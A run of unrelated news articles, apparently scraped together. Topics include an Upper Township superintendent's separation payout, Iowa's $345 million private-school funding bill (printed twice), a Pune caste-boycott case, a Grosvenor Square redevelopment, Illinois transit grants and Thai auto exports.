It has become apparent that somewhere along the line, this board has forgotten who they work for, Scanlan said. And who you work for are the parents and the taxpayers in Upper Township. Youre supposed to be serving our children, and from what Ive seen so far, I dont see too much of that going on.

Scanlan called it the most recent scandal for the board, and went so far as to describe a battle between good and evil in which the board represents evil.

Former Upper Township superintendent will make $300K over the next two years under separation agreement UPPER TOWNSHIP  Vincent Palmieri will make more than $300,000 from Upper Township schools o

Be on notice, we the parents and taxpayers of Upper Township are now paying attention and demand answers. The redacted copy that came out is not going to fly with us, Scanlan said. We are not going to give up.

Other speakers said the money could have funded other priorities for the district, such as a school resource officer. At the same meeting, Business Administrator Laurie Ryan reported on the continued loss of state aid for the district, saying it would face difficult choices in preparing its budget for the next school year.

Resident Suzanne Pelkaus questioned how the district could afford to pay another superintendent while paying Palmieri. In December, the board tapped Christopher Kobik to serve as acting superintendent while the district searches for a permanent replacement, with hopes of filling the job by the summer.

We as taxpayers do not want to pay two superintendent salaries, Pelkaus said.

Under the agreement, Kobik will work four days a week, at a daily rate of $675.

Others speakers at the meeting said the spending took funds away from building improvements and other priorities, and called for a detailed explanation.

Temporary superintendent named for Upper Township schools UPPER TOWNSHIP  The Upper Township Board of Education on Monday approved Christopher Kobik 

At least one speaker was satisfied with the attorneys explanation, and the assertion that more details could not be released.

Im not sure why some people are having a hard time with that, but I appreciate the explanation, said Gina Abarno-Johnson. She thanked the school board members for their efforts.

Some said the district could have waited until Palmieris contract expired at the close of the school year.

According to Cavallos statement, Palmieri had tenure as a principal in the district, and had legal claims to a position with the school even if his contract as superintendent were not renewed.

To be clear, Mr. Palmieri accepted less than he was entitled as part of this separation agreement and the Board of Education paid less than it would have been legally required to pay in order to end the relationship, Cavallo said, reading from a statement.

Parents were notified of Palmieris departure in November via email. Since then, attempts to contact Palmieri have not been successful.

Letter: Longtime Upper Township school superintendent is leaving UPPER TOWNSHIP  Upper Township superintendent of schools Vincent Palmieri Jr. is leaving th

At this moment in time, the BOE and I have agreed that the best thing for the district is for me to move on and allow the BOE to begin a new search for its next educational leader; sooner rather than later, read the letter, on school district letterhead and signed by Palmieri and school board President Michele Barbieri. It was dated Nov. 22.

In his statement, Cavallo seemed to bristle at suggestions that the board concealed the agreement.

Lastly, there was some accusation that the board hid this agreement, Cavallo said. The Board of Education is not permitted to publicly discuss an employees status or disclose information contained in an employees personnel records. However, the board approved this settlement at a public meeting and disclosed the separation agreement, with redactions it was required to make by law, through a request under Open Public Records Act. The separation agreement was also openly discussed at a public meeting. The board has consistently followed the law on public access to employee records and information.
TASHKENT, Jan. 24 (Xinhua) -- Secretary General of the Economic Cooperation Organization (ECO) Khusrav Noziri said here Tuesday that ECO members agreed to expand regional cooperation for energy security and sustainable energy.

Noziri made the remarks in a statement after foreign ministers of the member countries of the ECO, an inter-governmental economic forum of 10 countries of South, Central and West Asia, held a meeting in the capital of Uzbekistan.

According to him, the ministers have adopted the Tashkent Communique to enhance trade, promote cooperation in disaster risk reduction as well as strengthen transport connectivity.

The organization groups Afghanistan, Azerbaijan, Kazakhstan, Kyrgyzstan, Iran, Pakistan, Tajikistan, Turkiye, Turkmenistan and Uzbekistan.

It aims to improve development and promote trade in the region. 
By Edwin Heathcote

Grosvenor Square was always intended to be Londons poshest address. Laid out between 1725 and 1731, its location in Mayfair and proximity to Hyde Park  and later to the best clubs, hotels and shops  established the squares fashionable reputation. Yet it also came to be a curious story of architectural mediocrity and lost opportunities.

The squares grand Georgian houses had been built by some of the greatest architects of the day: Robert Adam, William Chambers, John Soane, James and Samuel Wyatt, among others. Almost nothing of that era survives, save for two houses, one of which was once inhabited by future US president John Adams. It established a precedent: Eero Saarinens huge US embassy building (1958-60), the first purpose-built embassy in London, continues to dominate the west side of the square. Though the embassy relocated in 2017, Saarinen's building is remembered as the locus of fierce protests against the Vietnam war in the late 1960s.

Much of the rest of the square was rebuilt in a kind of hypertrophied 1920s neo-Georgian style with ludicrously attenuated and extended mansard roofs. Little appears to have changed since, despite what seems like decades of continuous construction. The facades are mostly intact, but behind them, things are beginning to look very different. Saarinens embassy building has been hollowed out to become a hotel, The Chancery Rosewood, designed by David Chipperfield. No 1 Grosvenor Square, the building that housed the US embassy between 1938 and 1960, and thereafter the Canadian High Commission until 2014, is now an exclusive apartment block.

Now luxury apartments, No 1 Grosvenor Square previously served as both US and Canadian embassies

No 1 Grosvenor Square has been designed by Eric Parry Architects, who have quietly done a lot of work around Mayfair, unfussily reinventing a number of buildings such as the Four Seasons Spa and the ceramic facade of 14 George Street, as well as the galleries and apartments of 23 Savile Row. Its facade appears to be unchanged but has in fact been removed, rebuilt and extensively remodelled on the Grosvenor Street side to accommodate a development of 44 residences.

Unusually for the West End, it features a gated entrance and drop off for cars within the building. Parrys porte-cochere here is defined by timber columns that support an undulating grid. It is apparently the blocks most Instagrammed feature and leads to the developments underground parking.

Some residences have entrances from the street, more like typical London townhouses, but most residents will pass through a lobby that leads to a series of circulation spaces, including one that is an unlikely homage to the White House Oval Office. It was installed by US ambassador, Joe Kennedy, in 1938 and was intended to inspire his children  including a young JFK, who visited his father here in the late 1930s  to achieve power and accustom them to its trappings.

The apartment interiors, designed by US/Canadian outfit Yabu Pushelberg, are relatively restrained. Most flats had already sold when the FT visited and I only had access to one relatively modest show apartment. It looked a little like a small upscale hotel suite, where too much furniture has been stuffed in as an excuse for the size of the space.

The replica of the White House Oval Office was installed by US ambassador, Joe Kennedy, in 1938

Nothing here is affordable. Prices start at 8.65mn. The penthouse, a knock-through of three separate apartments, sold in 2020 for 140mn. (Even this staggering sum failed to make it Londons most expensive property that year, being pipped by a 200mn, 45-room Knightsbridge house.)

As you might expect, No 1 Grosvenor Square (developed by super-luxe specialists, Lodha) offers hotel-style services and amenities including a 24-hour concierge, a 25m swimming pool, spa, cinema and dining room available for residents to hire, as well as biometric access and embassy-level security.

Perhaps the most impressive thing about this design is that it appears to be ultra conservative, a straight facade retention of a dignified and familiar, if oversized, city block. But it is really nothing of the sort. Eric Parry Architects were able to disassemble the facades, store the components, restore the stone and brickwork, and then stretch and manipulate the elevations to accommodate better, or more appropriate, ceiling heights and proportions. On the Grosvenor Street side, the facades were also extensively remodelled to make them more suitable for apartment rather than office use. Its a compliment to the architects that one can barely see what has changed.

Donald Trump, when US president, famously refused to come to London for the opening of the new US Embassy in Nine Elms, on the unfashionable south side of the river, suggesting the move from Grosvenor Square was a bad deal. Looking at the prices here, he might have been right.

Photography: Knight Frank
Boses aim was not just achieving independence but also wealth creation for India

Netaji Subhas Chandra Boses aim was wealth creation for the country and Rashtriya Swayamsevak Sangh (RSS) is exactly treading through that path, RSS chief Mohan Bhagwat said while addressing a function on the 126th birth anniversary of Netaji in front of Shahid Minar in Kolkata on Monday.

Before Indias independence too there were different forces of different political beliefs. However, their aim was one and only independence. But Netajis aim was not just achieving the independence of the country. His parallel aim was also the wealth creation for India. RSS now is exactly treading through that path for the countrys wealth creation as shown by Netaji, he said.

Speaking on the occasion, Bhagwat also said that besides being a leader, Netaji was a commander in the true sense.

No one did anything for him. But he gave up everything for the country. He had led the people by being among them. He was a leader. But at the same time, he chose to remain in the battlefield along with his soldiers. The commanders generally do not go to the battlefield. However, Netaji came from Singapore to Assam leading his army, the RSS chief said.

Ktaka Cong neta slams Sangh over Netaji link

Congress MLA from Bengaluru, Dinesh Gundu Rao on Monday attacked the Rastriya Swayamsevak Sangh and raised questions over the RSSs attempts to link with Netaji Subhas Chandra Bose.

Wishing people on the occasion of birth anniversary of Netaji Subhas Chandra Bose, MLA Dinesh on his social media handle stated that, Netaji was against the ideologies of RSS. He never believed in RSS philosophy. IANS
Civic officials attribute delay to COVID-19 pandemic, assure GRC to start in next 8-10 days

The Pune Municipal Corporation (PMC), even after two years of the government directive, is yet to start the grievance redressal cell (GRC) to address the complaints of violations of rights and responsibilities of patients, as well as registered nursing homes.

While this is causing inconvenience to patients, the civic body claims the cell will be operational in the next ten days. The amended Maharashtra Nursing Homes Registration Act, 2021, provides that the local supervising authority shall set up a grievance redressal cell with a toll-free number to redress complaints of violations of the rights and responsibilities of patients. However, even after two years, the PMC is yet to start the GRC.

As per the rules, the GRC should be headed by an in-service or retired medical officer. The cell must provide a hearing to the complainant within 24 hours if he is already under treatment. In other cases, the hearing should be conducted within a month. Also, every nursing home shall display contact numbers and details of the local supervising authority and the grievance redressal cell.

Vinod Shende, health activist and member of the Patients Right Campaign, said, Everything is on papers and its not of any use to the patients and kin. Under the new rules, the corporation should establish a grievance redressal cell as a local supervisory authority. Subsequently, the PMC has to display detailed information including the toll-free number of the cell in all hospitals. However, the civic body is yet to start the cell even. The civic administration says that a grievance redressal cell and an officer have been appointed, but it is only on paper and is of no use.

Dr Manisha Naik, assistant health chief, PMC, said, given the pandemic situation in the city the team was occupied with the COVID-19 management work, which led to a delay in establishing the cell. We have identified staff that will handle the work for the cell. Also, the setup is ready for the cell. The cell will be functional in the next eight to ten days. The helpline number of the cell will be made public, she said.
Family of four not allowed to attend any function, even of close relatives, in Phursungi; victim says community panch (leader) not ready to listen to him; anti-superstition panel convinces family to approach police; nine booked, arrests yet to be made, say police

Indias progress in various sectors is etched in stone internationally. Yet, the scourge of superstition and retrograde traditions remains unabated in our country. One such case has reared its ugly head in Pune, popularly known as Punyanagari (city of good deeds).

Prakash Dangi, his wife Hemlata and their two children have been boycotted by the Gaud Brahmin Samaj committee for as long as 23 years in Phursungi, around 15 km from the city, over the issue of inter-caste marriage.

It is shocking my own community has boycotted us. I have been fighting a losing battle for over two decades, and even lost my 18-year-old son, Manav, in 2021. He committed suicide. I am sure he was depressed by our plight, Dangi, aged 46, a rickshaw driver by profession, told Mirror.

Hemlata and her son Yashraj

Dangi belongs to the Gaud Brahmin Samaj and Hemlata to the Mali Brahmin Samaj. They fell in love and got married in 1998 while ignoring the retrograde traditions but paid a price for it.

The distraught man says that the Gaud committee, which has an office in Market Yard, Pune, has not been allowing his family to attend community functions or programmes.

Dangi claimed that six months back, the committee asked him to pay compensation of Rs 1.25 lakh. I told the panch (committee head) that I am a rickshaw driver and its not possible for me to pay such a high amount. They are not ready to bargain on the amount. I come from a poor family background. How can I arrange the money? They are mentally torturing my family.

Prakash Dangi with his son Yashraj

While the couples daughter Kejal is 18 years old and is a first-year BCS student, their son, Yashraj, is a science graduate and doing a course in computer science while working part time for a firm.

My whole family has been seriously affected by the boycott. They didnt even allow us to attend my nieces marriage ceremony. My sister is good, but our community panch warned her family to not invite me to the wedding. My sister was helpless. My community is treating me like a criminal, he said.

My children are often depressed. They are not invited to any social programme. They have no answer when their friends ask them why they dont attend functions. I approached the community panch many times and pleaded with him to lift the boycott, but in vain. I also submitted applications with the committee several times, but they remained firm on their decision, said Dangi.

Our community has a mandal office in the Market Yard area, where meetings are held every month. After my love marriage, the panch removed my name from the committee. So far, they have removed the names of 500 people from the list for inter-caste marriage, he said.

Dangi said that he recently met Nandini Jadhav of the Maharashtra Andhashraddha Nirmoolan Samiti and narrated his problem. The Samiti members suggested that we lodge a police complaint. Following this, I approached the Bibwewadi police.

Speaking to Mirror, Jadhav said, The family suffered a lot for 23 years. The police registered a case against nine people after I followed up on the issue regularly.

Inspector Sangeeta Jadhav of the Bibwewadi police station said that nine people have been booked under the Maharashtra Prevention of Social Boycott Act, 2017.

Preliminary investigations are underway. No arrests have been made so far. It is a bailable offence, added the officer.
For instance, Koregaon Park, a nature paradise two decades ago, has turned into a noisy mess of traffic

By: Swami Chaitanya Keerti (Former spokesperson of The Osho Commune)

Returning to Pune after as long as 23 years would obviously make one feel nostalgic. However, the first thought that struck me upon my arrival was that Pune, which was once serene and cool, has become nothing less than a monster city. Either you see sophisticated buildings like the Trump Towers or you have to meander through slums and traffic that almost seems coming over you. It is impossible to cross a road, as it seems life-threatening.

A westerner was telling me the other day that if he has to cross the road, he takes an auto rickshaw! The North Main Road and the South Main Road in Koregaon Park are choked with traffic in the evening as the area is linked to Kalyani Nagar. Its like a deluge of vehicles. If you are a pedestrian, you can feel the dust and pollution on your face. And with the sweat, it becomes worse.

I came to Koregaon Park for the first time in October 1974 after Oshos arrival in March of that year. At that time, it was like a majestic paradise and quite deserted. When I used to come out of the railway station and would look for an autorickshaw to take me to Koregaon Park, which cost Rs 1.50, the driver would demand to and fro fare as he would not get a passenger on his return journey. It was so serene and beautiful to stroll down Lane no. 1 and onto the North Main Road. For many years, the only time when the commune broke the tranquility of the neighbourhood was during the early morning 6 am Dynamic Meditation.
DES MOINES  A state-funded private school financial assistance package costing $345 million a year is headed to Gov. Kim Reynolds desk, where her signature would seal her top legislative priority into state law.

After more than eight hours of debate, the bill passed both chambers of the Iowa Legislature early Tuesday.

Reynolds will sign the legislation into law later Tuesday, her office said, during national School Choice Week. The bill-signing will come exactly two weeks after the bill was introduced.

After the bill passed the final Senate hurdle at roughly 12:30 a.m., Reynolds celebrated with her fellow Republicans just behind the Senate chamber.

For the first time, we will fund students instead of a system, a decisive step in ensuring that every child in Iowa can receive the best education possible, Reynolds said in a statement. Parents, not the government, can now choose the education setting best suited to their child regardless of their income or ZIP code. With this bill, Iowa has affirmed that educational freedom belongs to all, not just those who can afford it.

Third bills the charm

The Iowa House was considered the final potential stumbling block for the proposal. The House, which despite its Republican majorities did not have enough votes to pass similar proposals each of the past two years, passed the governors new, much broader proposal with a 55-45 vote Monday evening.

After the failures of the previous two proposals, Reynolds made what she calls school choice a top issue of her 2022 re-election campaign, which she won by a decisive 17 percentage points.

However, this years proposal is dramatically more expansive than the previous two. While the previous proposals were narrower and more limited in scope, this proposal eventually would make nearly $7,600 in state funding available to every Iowa K-12 student who attends a private school.

There are 33,692 Iowa students enrolled in private schools in the 2022-2023 school year, according to state education department.

Reynolds proposal, House File 68, creates taxpayer-funded educational savings accounts in the first valued at $7,598, which is the amount the state spends per pupil on public K-12 education, that families could use for private school tuition and other education expenses.

The program would be phased in over three years. In the third year, all K-12 students  including private school students  would be eligible for the funding, with no income restrictions.

The plan also provides new funding to public districts  estimated at just more than $1,200 per student  for those who live in the district but attend private schools. And it removes some restraints on other state funding to allow schools to spend that money on teacher salaries.

Long legislative debate

Supporters argued the legislation makes attending a private school possible for more Iowa students, and that taxpayer funding should be used to support any Iowa family who wishes to send their children to a private school.

If a current public school isnt working for a child, those parents need to have a choice, Rep. John Wills, a Republican from Spirit Lake and floor manager of the bill in the House, said during debate. Thats what this bill is going to allow. We dont want to force them to stay in a public school that doesnt work for them, that doesnt fit them, just because of the ZIP code they live in.

Only Republicans voted to support of the bill, and nine Republicans joined Democrats in opposition. Applause broke out among House Republicans after the vote.

The focus of school choice isnt about schools. It isnt about teachers. It isnt about any of those things. The focus of school choice is about kids, Wills added during the more than five hours of debate in the House. Its about parents having the ability to be in the driver seat for their kids sake.  This is about parents needing something different. Theyre desperate. Some parents are desperate for a change. Were going to offer that for them.

Opponents counter that the state is responsible for funding public schools, that state programs already exist to help private school students and that creating a new, $345 million annual funding stream for private schools will put future funding of public schools at risk. Critics of the bill also note that taxpayer funding should not go to private schools that are not held to the same reporting requirements as public schools, and because private schools can choose which students to accept and which to reject.

Public schools accept all kids; private schools pick and choose, said Rep. Jennifer Konfrst, leader of the House Democrats from Windsor Heights. This is not about school choice. This is about school administrator choice.

Democrats derided the programs price tag, saying those funds could better be used to subsidize public college tuition, expand pre-K access or boost public school funding.

Several Democrats raised the contention that private schools are allowed to turn away or drop from enrollment children with special needs, learning disabilities or behavioral issues. Public schools are required by law to create individualized education plans for students with special needs, but private schools do not have the same requirements.

Rep. Heather Matson, a Democrat from Ankeny, said a student in her district with autism, named Brandon, would likely not be accepted at a private school.

There is no choice for him because no private school will accept him because of his disabilities, she said. But Brandon is accepted and has teachers and staff who work hard for him in the Ankeny Community School District.

Rep. Skyler Wheeler, a Republican from Hull who chairs the House education committee, said the plan allows parents who do not have the financial means to choose a school thats best for their children.

This is about students; its not about systems, he said. Tonight, in a historic fashion, the state of Iowa is going to uphold and uplift every family in the state.

Wheeler called warnings that the plan would lead to consolidation and closure of rural schools doom and gloom, saying the same concerns had been floated with past laws that he said ultimately had little impact on rural schools.

Rep. Thomas Moore, a Republican from Griswold and one of the nine House Republicans who voted against the bill, said he voted no because of strong opposition from his constituents. Even though his Southwest Iowa district is strongly Republican, Moore said his constituents were calling on him to vote against the bill.

My vote came down to my constituents, he said. I represent them. I dont represent myself. Although I was opposed.

Moore said he opposed the bills high price tag, and the fact a portion of the taxpayer funding will go to families who can already afford private schools.

To me, being a fiscal conservative to give 33,000 people new money that they have already been spending on their own and dont really need  to me thats money that we could be using for other purposes here at the Capitol, Moore said.

The bill later passed the Iowa Senate by a 31-18 vote, with only Republicans supporting the bill and three Republicans joining all Democrats in opposition.

Sen. Zach Wahls, leader of the Iowa Senate Democrats, said during debate that the proposal will hurt rural communities by endangering their schools. He said it would only take a small number of students leaving a small school to cause significant financial distress.

Wahls called the proposal rushed, reckless and radical.

Wheres the voice of rural education leaders in this discussion? Wahls asked during debate. This bill is Robin Hood in reverse.

Sen. Amy Sinclair, a Republican from Allerton who chairs the Senates education committee, pushed back against Democrats arguments and insisted the legislation will not harm public schools, whether urban or rural. She also said the new $345 million annual program will not stress future state budgets.

This is not an attack on teachers or public schools. This is not an attack on public education, Sinclair said during Senate debate. This bill is about rights, parental rights and choice in education.  We empower the parents to make the educational choice that best suits their child.

Legislators from both parties argued that public opinion is on their side of the state-funded private school assistance debate.

Polling from the Des Moines Register/Mediacom Iowa Poll, considered the gold standard in Iowa polling, showed that a majority of Iowans opposed Reynolds more limited proposal in 2022. There has been no public polling on this years bill.

Streamlining debate

Democrats, who are in the minority in both chambers, argued that Republicans, with their agenda-setting majorities, took actions in both chambers that limited debate on the bill.

In the House, Republicans created a new education reform committee in which to debate the bill, then wrote and approved a new chamber rule that said even though the bill contains new state spending, it is not required to go through the budget committee.

We shouldnt be passing legislation or rules that circumvent the process or eliminate input from the public or each other, Konfrst said. To the 39 new members of this chamber, I am so sorry that your first vote is one that circumvents the process and that allows less oversight on incredibly expensive legislation.

In the Senate, Republicans used a debate process rule that effectively made it so Democrats could not introduce amendments.

It is a willful, blatant way of cutting everybody out from perfecting the bill and listening to our constituents who sent us hundreds of emails (about) whats wrong with it, said Sen. Bill Dotzler, a Democrat from Waterloo. Why wouldnt you want to listen to the public? Why wouldnt you want to listen to somebody who might have a good idea? 

Ive been here longer than any other senator in this room, Dotzler added. And Ive never seen anything so blatant in all my years.

Fiscal analysis

Earlier Monday, the nonpartisan Legislative Services Agency issued its highly-anticipated fiscal analysis Reynolds proposal just hours ahead of floor debate on the bill. The agency projects the proposal will cost $345 million annually once fully implemented.

The nonpartisan agencys estimates closely align with those made earlier by Reynolds office, which predicted the program would cost $341 million when fully implemented.
EDWARDSVILLE  The man who struck and killed Metro East police officer Brian Pierce Jr. was sentenced Monday to life in prison without the possibility of parole.

Caleb Campbell, 24, of Florissant, hit and killed Pierce, a Brooklyn police officer, while fleeing a traffic stop Aug. 4, 2021, on the McKinley Bridge connecting Illinois and St. Louis. Madison County Judge Neil Schroeder sentenced him to life in prison Tuesday for first-degree murder, among other counts.

Pierce's sister and mother took the stand Monday to confront Campbell.

"You ran that night," Tammy Pierce, Brian Pierce's mother, said to Campbell on the stand, describing Campbell feeding from the crash. "You disregarded him, but I choose to remember him standing tall."

Pierce had been working the night shift for Brooklyn police for about nine months before his death. He drove hours to the job from Carbondale, Illinois, and also served as a lieutenant at a fire department in Jackson County, according to his family.

Tammy Pierce, of Makanda, said in court Monday that her son also ran a side business installing emergency lights for police and fire departments.

Assistant State's Attorney Lauren Maricle told the judge Monday that prosecutors had received a large number of victim impact letters from those who knew Pierce.

"I've never seen so many letters written on someone's behalf," she said.

Pierce was hit after attempting to set up stop sticks, a tire deflation device, on the bridge early Aug. 4.

Eyewitnesses on the bridge testified during the trial that the Charger Campbell was driving sped down the wrong side of the narrow two-lane bridge to pass seven vehicles, including two patrol cars. The Charger then struck Pierce, who was thrown more than 270 feet.

Campbell represented himself at the trial, presenting a defense arguing he didn't remember the night of the crash after drinking an orange juice at a Brooklyn strip club. He had previously told police he thought he was carjacked in the club parking lot, though video evidence disproved that claim.

Campbell's mother, grandma, aunt and fiance spoke in his defense.

Schroeder on Thursday said Campbell was clearly being untruthful in his accounts.

He faces a mandatory life sentence in the case, under Illinois law governing the deaths of police officers in the line of duty.

Photos: Procession for Brooklyn officer who died after police chase
DECATUR  With a soon-to-be refurbished bus barn as the setting and a hybrid trolley as a backdrop, Gov. J.B. Pritzker announced Tuesday nearly $114 million in grant funds for downstate transit providers.

The funds, to be doled out across 44 different projects, are the latest tranche in downstate public transportation funds provided through the state's Rebuild Illinois capital construction program. So far, more than $337 million has been awarded via the competitive grants to downstate transit.

"These are the kinds of investments that have a direct impact on the people of this community and help attract new families and new companies to Illinois," Pritzker said during a stop in Decatur. "Once this bus barn is complete, this very room that we're standing in will have new life."

Decatur received three grants totaling $5.89 million, which will largely go towards an overhaul of the city's transit facilities, which will include the installation of rooftop solar panels and retrofitting in anticipation of the transition to a fully electric fleet of buses by 2035.

With the latest infusion, more than $27 million in local, state and federal dollars have been committed to the project.

The Decatur City Council voted last year to $785,000 in federal grant funds for the purchase of two new hybrid trolleys for the downtown route, which shuttles around the central business district every 15 minutes from early morning until 6:15 p.m. six days a week.

Though only two of the city's fixed-route buses are currently hybrids, there are plans to replace four older diesel-powered buses with hybrids in 2023. The plan after that is to replace diesel-powered buses with electric buses four at a time every two years starting in 2025.

Several other downstate communities benefitted from the latest round of state funding.

The Bloomington-Normal Public Transit System, known as Connect Transit, received two grants worth $9.6 million. Of that, $1.6 million will go towards the purchase of electric microtransit vehicles and $8 million is earmarked for the construction of a maintenance, storage and training facility.

Coles County was awarded $70,000 to build passenger shelters at fixed bus routes.

The Rock Island County Metro Mass Transit District, known as MetroLINK, was awarded four grants worth $10.35 million, which will be used towards purchasing six zero-emission buses, electric car chargers, and an expansion of the system's operations and maintenance center.

A full list of grant recipients can be found on the Illinois Department of Transportation's website.
Iowas House delegation focused on transportation and supply chain issues this week, while Rep. Zach Nunn snagged a key committee assignment and Sen. Joni Ernst targeted Planned Parenthood.

Midwest House members address supply chain bottlenecks

Iowas House delegation sent a letter to the Surface Transportation Boards chairman, Martin Oberman, asking him to lift a planned weeks-long embargo on rail service due to what Union Pacific perceives as bad winter weather.

The Iowa lawmakers joined in the letter with three Minnesota lawmakers  Republican Reps. Michelle Fischbach and Brad Finstad and Democrat Angie Craig  and Wisconsin Republican Rep. Tom Tiffany.

The lawmakers said they were skeptical of the need for an embargo because similar weather did not cause embargoes in the past.

We respectfully urge the STB to exercise its statutory oversight authority by immediately convening a forum with Union Pacific and affected shippers, directing Union Pacific to lift the ongoing embargo, and expeditiously restoring normal rail service throughout the Minnesota, Iowa, and Wisconsin region before further harm to the supply chain may occur, according to a tweet from Finstad.

Feenstra bill would ease trucking rule

Rep. Randy Feenstra also focused on supply issues. He introduced a bill with Florida Republican Rep. Brian Mast to address a shortage of truck drivers that significantly affects Americas supply chain.

The legislation would allow drivers under age 21 to transport goods from a U.S. port of entry to another location within the same state. Thats currently designated as interstate transportation, which is prohibited for drivers under age 21. The legislation would eliminate the interstate transportation designation.

Under current law, drivers under the age of 21 are prohibited from transporting goods delivered at a U.S. port of entry to another location within the same U.S. state, according to a press release. More specifically, this legislation would amend title 49, U.S. Code, to provide that the transportation of goods from a port of entry to another location within the same U.S. State as said port does not constitute interstate transportation.

Feenstra said the legislation will push back against government overreach.

From food and fuel to furniture and fertilizer, Iowa truckers work overtime to keep our shelves stocked and our supply chains moving, Feenstra said. However, federal overregulation has exacerbated trucker shortages and prevented household goods that our families rely on from reaching market.

Regulatory oversight

Feenstra also co-introduced, along with Florida Republican Rep. Kat Cammack, a bill requiring congressional oversight over major regulations enacted by federal agencies.

The bill would require approval by the U.S. House and Senate of every major rule proposed by a federal agency, according to a news release.

A major rule is defined as any federal rule or regulation that may result in: an annual effect on the economy of $100 million or more; a major increase in costs or prices for consumers, individual industries, government industries, government agencies, or geographic regions; or significant adverse effects on competition, employment, investment, productivity, innovation, or the ability of U.S.-based enterprises to compete with foreign-based enterprises.

Feenstra described the proposal as a cost-saving measure for businesses and families. With the right regulatory conditions and tax policies, American families, farmers, and small businesses can outcompete any other nation in the world. , he said in a news release. Unfortunately, burdensome government red tape stifles entrepreneurship, increases the cost of living for our families, raises input costs for our farmers, and disincentivizes Iowans from starting their own business.

Ernst reintroduces ban on federal funds for Planned Parenthood

Sen. Joni Ernst announced she will reintroduce legislation that bans any federal dollars going to Planned Parenthood or to any of its affiliates, subsidiaries, successors, or clinics, according to the bills text.

The bill would also redirect funds for other health services for women, such as cancer screenings, prenatal and postnatal care, immunizations, and other eligible services, according to a news release.

This legislation will help prevent taxpayer funds from being funneled to the nations largest abortion provider and allow for greater support of womens and childrens health care, Ernst said in a news release.

This comes after Fridays March for Life in the nations capital.

Nunn assigned to Ag Committee

Rep. Zach Nunn has gained a seat on the House Agriculture Committee. This position comes a week after his appointment to the House Financial Services Committee.

The position will allow Nunn to help craft the farm bill, which is reauthorized every five years to address Americas agriculture issues. The last farm bill was passed in 2018

We have a big agenda with renewing the Farm Bill. Itll be my job to listen to our farmers and producers so I can convey what Iowans want included in the bill, Nunn said.

Iowa Capital Dispatch is part of States Newsroom, a network of news bureaus supported by grants and a coalition of donors as a 501c(3) public charity. Iowa Capital Dispatch maintains editorial independence. Contact Editor Kathie Obradovich for questions: info@iowacapitaldispatch.com. Follow Iowa Capital Dispatch on Facebook and Twitter.
BANGKOK, Jan. 24 (Xinhua) -- Thailand's auto exports rose to a 45-month high of 111,605 units in December as the supply of semiconductor parts picked up, data showed on Tuesday.

The country's auto exports climbed 10.17 percent year on year in December to 111,605 units, with a combined export value of 65.99 billion baht (about 2.01 billion U.S. dollars), an 8.21-percent increase year on year, according to the Federation of Thai Industries (FTI).

In December, the country's car production rose 2.75 percent from a year earlier to 158,606 units, FTI auto club vice president and spokesman Surapong Paisitpattanapong said at a news conference.

In 2022, the country manufactured more than 1.8 million cars, marking an increase of 11.73 percent from a year earlier, he said.

Thailand's full-year exports reached 1,000,256 units, topping an earlier projection of one million units and up 4.28 percent from 2021, according to Surapong.

The FTI expected the country's auto production to rise 3.53 percent year on year this year. 
Aline Niyogusenga, a Rock Island High School senior, was selected to sit on the Illinois Education and Career Success Network's Student Advisory Council  one of 14 students across the state and the first in Rocky history.

The Students Advisory Council has the opportunity to offer input and recommendations to improve educational outcomes and experiences for Illinois students, meeting virtually three times a year for an hour and a half. Niyogusenga will represent the entire Black Hawk region, which includes Rock Island, Henry and Mercer Counties.

This year, the Student Advisory Council will focus on sharing tools that help students prepare for life after high school. In a Rocky news release, Niyogusenga said she's loved the chance to collaborate with other Illinois students.

"Its been fun. Its really interesting to see how they do their school system and how its really different from my school system and how I can take from what they do and bring it here or vice versa," she said.

Students on the council are given assignments throughout the year to work on. One of Niyogusenga's teachers, Jennifer Johnson, encouraged her to apply for the Advisory Council.

She strives to reach her goals and always treats others with kindness. Whenever I or her classmates need help, she always volunteers to assist us," Johnson said in the release. "Additionally, Aline possesses a growth mindset and is always eager to learn and challenge herself. She also devotes her time to making our school and community better."

If a student's application was chosen, they were interviewed by the Illinois Education and Career Success Network board over Zoom.

At the end of the school year, students on the council can attend the Success Networks annual conference in person. Students receive a $100 stipend per meeting as part of their participation.

Photos: Rock Island wrestling defeats United Township, 56-3
DES MOINES  A state-funded private school financial assistance package costing $345 million a year is headed to Gov. Kim Reynolds desk, where her signature would seal her top legislative priority into state law.

Here's how each Iowa lawmaker voted on the private school financial aid program Nine Republicans in the House and three in the Senate broke with the majority party to oppose the measure, which will cost $345 million annually when fully implemented.

After more than eight hours of debate, the bill passed both chambers of the Iowa Legislature early Tuesday.

Reynolds will sign the legislation into law later Tuesday, her office said, during national School Choice Week. The bill-signing will come exactly two weeks after the bill was introduced.

After the bill passed the final Senate hurdle at roughly 12:30 a.m., Reynolds celebrated with her fellow Republicans just behind the Senate chamber.

For the first time, we will fund students instead of a system, a decisive step in ensuring that every child in Iowa can receive the best education possible, Reynolds said in a statement. Parents, not the government, can now choose the education setting best suited to their child regardless of their income or ZIP code. With this bill, Iowa has affirmed that educational freedom belongs to all, not just those who can afford it.

Third bills the charm

The Iowa House was considered the final potential stumbling block for the proposal. The House, which despite its Republican majorities did not have enough votes to pass similar proposals each of the past two years, passed the governors new, much broader proposal with a 55-45 vote Monday evening.

After the failures of the previous two proposals, Reynolds made what she calls school choice a top issue of her 2022 reelection campaign, which she won by 17 percentage points.

Photos and video: Iowa legislators pass governor's private-school funding bill

However, this years proposal is dramatically more expansive than the previous two. While the previous proposals were narrower and more limited in scope, this proposal eventually would make nearly $7,600 in state funding available to every Iowa K-12 student who attends a private school.

There are 33,692 Iowa students enrolled in private schools in the 2022-2023 school year, according to state education department.

Reynolds proposal, House File 68, creates taxpayer-funded educational savings accounts in the first valued at $7,598  the amount the state spends per pupil on public K-12 education  that families could use for private school tuition and other education expenses.

The program would be phased in over three years. In the third year, all K-12 students  including private-school students  would be eligible for the funding, with no income restrictions.

The plan also provides new funding to public districts  estimated at just more than $1,200 per student  for those who live in the district but attend private schools. And it removes some restraints on other state funding to allow schools to spend that money on teacher salaries.

Long legislative debate

Supporters argued the legislation made attending a private school possible for more Iowa students, and that taxpayer funding should be used to support any Iowa family who wishes to send their children to a private school.

If a current public school isnt working for a child, those parents need to have a choice, Rep. John Wills, R-Spirit Lake and floor manager of the bill in the House, said during debate. Thats what this bill is going to allow. We dont want to force them to stay in a public school that doesnt work for them, that doesnt fit them, just because of the ZIP code they live in.

Only Republicans voted to support of the bill, and nine Republicans joined Democrats in opposition. Applause broke out among House Republicans after the vote.

